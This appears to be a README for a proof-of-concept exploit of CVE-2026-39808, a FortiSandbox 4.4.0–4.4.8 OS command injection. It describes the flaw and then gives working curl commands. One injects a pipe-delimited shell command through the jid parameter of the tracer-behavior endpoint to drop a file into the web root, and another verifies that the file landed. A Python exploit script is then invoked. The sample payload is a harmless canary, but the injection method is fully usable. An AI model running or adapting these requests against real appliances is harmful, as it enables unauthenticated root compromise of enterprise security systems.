error-inside/cve-2026-39808Fortinet FortiSandbox 4.4.0-4.4.8 - OS Command Injection via tracer-behavior Endpoint
Fortinet FortiSandbox 4.4.0-4.4.8 - OS Command Injection via tracer-behavior Endpoint
Fortinet FortiSandbox is an advanced threat protection solution that creates isolated environments to analyze suspicious files, URLs, and network traffic for malicious behavior. It uses a combination of static analysis, dynamic analysis, AI-powered machine learning, and threat intelligence from FortiGuard to detect zero-day threats, evasive malware, ransomware, and targeted attacks that bypass traditional signature-based defenses. Enterprises should deploy FortiSandbox to protect against emerging threats—particularly unknown malware and advanced persistent threats (APTs); by automatically detonating suspicious content in a secure, isolated environment before it reaches production systems. It integrates with the broader Fortinet Security Fabric and can be deployed as a physical appliance, virtual machine, cloud service, or containerized solution to fit various network architectures.
CVE-2026-39808 is a critical OS command injection vulnerability affecting FortiSandbox versions 4.4.0 through 4.4.8. The flaw stems from improper neutralization of special elements in user-controlled input before it is used in OS command construction (CWE-78), specifically affecting an unspecified API endpoint. An unauthenticated attacker can exploit this vulnerability by sending specially crafted HTTP requests to execute arbitrary operating system commands with root privileges on the underlying system. Successful exploitation grants the attacker complete control over the FortiSandbox appliance, allowing them to access analyzed malware samples, exfiltrate sensitive configuration data, pivot to connected network segments, or use the compromised device as a foothold for further lateral movement within the enterprise environment. This vulnerability is being actively exploited in the wild.
# Step 1 — inject: write a marker string to a temp .php file via pipe in jid param
# Decoded payload: |(echo canary > /web/ng/proof.php)|
curl -sk -o /dev/null -w "%{http_code}" \
"http://example.com/fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+canary+%3e+%2fweb%2fng%2fproof.php%29%7c" \
-H "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" \
-H "Connection: close"
# Step 2 — verify: fetch the dropped file and check for the marker
curl -sk "http://example.com/ng/proof.php" \
-H "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" \
-H "Connection: close"
python CVE-2026-39808-X7.py
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